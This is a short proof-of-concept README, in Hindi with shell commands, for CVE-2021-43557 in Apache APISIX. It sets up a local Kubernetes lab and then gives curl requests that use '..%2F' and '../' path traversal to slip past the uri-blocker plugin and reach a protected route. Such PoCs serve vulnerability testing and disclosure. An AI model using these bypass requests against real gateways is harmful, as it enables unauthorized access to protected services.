
CVE-2021-43557 के लिए PoC
helm repo add apisix https://charts.apiseven.com
helm repo add bitnami https://charts.bitnami.com/bitnami
helm repo update
kubectl create ns ingress-apisix
helm install apisix apisix/apisix \
--set gateway.type=NodePort \
--set ingress-controller.enabled=true \
--namespace ingress-apisix \
--version 0.7.2
kubectl get service --namespace ingress-apisix
kubectl apply -f app.yamlkubectl apply -f routes.yamlवैकल्पिक, यदि आप ऐप इमेज बदलना चाहते हैं:
cd protected-service; docker build -t protected-service:0.0.1 .cd public-service; docker build -t public-service:0.0.1 .minikube image load protected-service:0.0.1minikube image load public-service:0.0.1सार्वजनिक सेवा तक पहुँचने के लिए:
kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/public -H 'Host: app.test'
200 लौटाना चाहिए
संरक्षित सेवा तक पहुँचने के लिए:
kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/protected-service/protected -H 'Host: app.test'
403 लौटाना चाहिए
uri-blocker को दरकिनार करते हुए संरक्षित सेवा तक पहुँचने के लिए: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/..%2Fprotected-service/protected -H 'Host: app.test'
uri-blocker को दरकिनार करते हुए संरक्षित सेवा तक पहुँचने के लिए: kubectl exec -it -n ${namespace of Apache APISIX} ${Pod name of Apache APISIX} -- curl --path-as-is http://127.0.0.1:9080/public-service/../protected-service/protected -H 'Host: app.test'
दोनों को 200 लौटाना चाहिए